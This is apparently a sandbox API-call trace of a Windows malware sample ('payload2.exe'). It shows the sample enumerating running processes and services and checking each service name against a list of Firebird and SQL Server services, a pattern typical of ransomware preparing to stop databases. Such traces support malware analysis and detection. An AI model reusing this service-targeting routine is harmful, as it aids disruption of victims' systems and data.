	[0176.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0176.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0176.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0176.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0176.705] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0176.705] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x574
	[0176.712] Process32FirstW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0176.713] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0176.713] lstrlenW (lpString="System") returned 6
	[0176.713] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0176.714] lstrlenW (lpString="smss.exe") returned 8
	[0176.714] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.714] lstrlenW (lpString="csrss.exe") returned 9
	[0176.714] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0176.715] lstrlenW (lpString="wininit.exe") returned 11
	[0176.715] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.715] lstrlenW (lpString="csrss.exe") returned 9
	[0176.715] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0176.716] lstrlenW (lpString="winlogon.exe") returned 12
	[0176.716] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0176.716] lstrlenW (lpString="services.exe") returned 12
	[0176.716] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0176.716] lstrlenW (lpString="lsass.exe") returned 9
	[0176.717] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.717] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.717] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.718] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.718] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.718] lstrlenW (lpString="svchost.exe") returned 11
	[0176.718] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.718] lstrlenW (lpString="svchost.exe") returned 11
	[0176.718] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0176.719] lstrlenW (lpString="dwm.exe") returned 7
	[0176.719] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.719] lstrlenW (lpString="svchost.exe") returned 11
	[0176.719] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.720] lstrlenW (lpString="svchost.exe") returned 11
	[0176.720] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.720] lstrlenW (lpString="svchost.exe") returned 11
	[0176.720] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.721] lstrlenW (lpString="svchost.exe") returned 11
	[0176.721] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.721] lstrlenW (lpString="svchost.exe") returned 11
	[0176.721] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.722] lstrlenW (lpString="svchost.exe") returned 11
	[0176.722] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.722] lstrlenW (lpString="svchost.exe") returned 11
	[0176.722] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.722] lstrlenW (lpString="svchost.exe") returned 11
	[0176.723] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.723] lstrlenW (lpString="svchost.exe") returned 11
	[0176.723] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.723] lstrlenW (lpString="svchost.exe") returned 11
	[0176.723] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0176.724] lstrlenW (lpString="spoolsv.exe") returned 11
	[0176.724] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.724] lstrlenW (lpString="svchost.exe") returned 11
	[0176.724] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0176.725] lstrlenW (lpString="audiodg.exe") returned 11
	[0176.725] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0176.725] lstrlenW (lpString="sihost.exe") returned 10
	[0176.725] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.726] lstrlenW (lpString="svchost.exe") returned 11
	[0176.726] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.726] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.726] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0176.726] lstrlenW (lpString="msoia.exe") returned 9
	[0176.727] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0176.727] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0176.727] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0176.727] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0176.727] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0176.728] lstrlenW (lpString="Memory Compression") returned 18
	[0176.728] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0176.728] lstrlenW (lpString="explorer.exe") returned 12
	[0176.728] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0176.729] lstrlenW (lpString="SearchUI.exe") returned 12
	[0176.729] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0176.729] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0176.729] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0176.730] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0176.730] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0176.730] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0176.730] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0176.731] lstrlenW (lpString="payload2.exe") returned 12
	[0176.731] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0176.731] lstrlenW (lpString="cmd.exe") returned 7
	[0176.731] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0176.731] lstrlenW (lpString="conhost.exe") returned 11
	[0176.731] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0176.732] lstrlenW (lpString="mode.com") returned 8
	[0176.732] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0176.732] lstrlenW (lpString="consent.exe") returned 11
	[0176.732] Process32NextW (in: hSnapshot=0x574, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0176.733] CloseHandle (hObject=0x574) returned 1
	[0176.733] Sleep (dwMilliseconds=0x1f4) 
	[0177.345] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668060
	[0177.345] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0177.346] GetLastError () returned 0xea
	[0177.346] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0177.346] EnumServicesStatusExW (in: hSCManager=0x668060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0177.347] CloseServiceHandle (hSCObject=0x668060) returned 1
	[0177.347] lstrlenW (lpString="Appinfo") returned 7
	[0177.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0177.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0177.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0177.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0177.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0177.347] lstrlenW (lpString="AppXSvc") returned 7
	[0177.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.347] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0177.348] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0177.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0177.348] lstrlenW (lpString="Audiosrv") returned 8
	[0177.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0177.348] lstrlenW (lpString="BFE") returned 3
	[0177.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0177.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0177.348] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0177.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0177.348] lstrlenW (lpString="CDPSvc") returned 6
	[0177.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0177.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0177.348] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0177.349] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0177.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0177.349] lstrlenW (lpString="CryptSvc") returned 8
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0177.349] lstrlenW (lpString="DcomLaunch") returned 10
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0177.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0177.349] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0177.349] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0177.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0177.349] lstrlenW (lpString="Dhcp") returned 4
	[0177.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0177.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0177.350] lstrlenW (lpString="Dnscache") returned 8
	[0177.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0177.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0177.350] lstrlenW (lpString="DPS") returned 3
	[0177.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0177.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0177.350] lstrlenW (lpString="DsmSvc") returned 6
	[0177.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0177.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0177.350] lstrlenW (lpString="DusmSvc") returned 7
	[0177.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
